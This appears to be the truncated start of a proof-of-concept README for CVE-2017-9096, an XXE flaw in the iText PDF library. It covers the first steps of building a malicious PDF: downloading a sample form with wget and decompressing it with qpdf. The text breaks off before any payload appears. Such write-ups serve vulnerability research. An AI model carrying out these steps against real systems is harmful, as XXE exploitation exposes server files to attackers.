CVE-2017-9096-iText-XXE

CVE-2017-9096 1. Creating the malicious PDF containing XXE Get a PDF containing a form: wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmitExample.pdf -O input.pdf Decompress PDF To do that you need to decompress the PDF with qpdf --qdf --object-streams=disable input.pdf...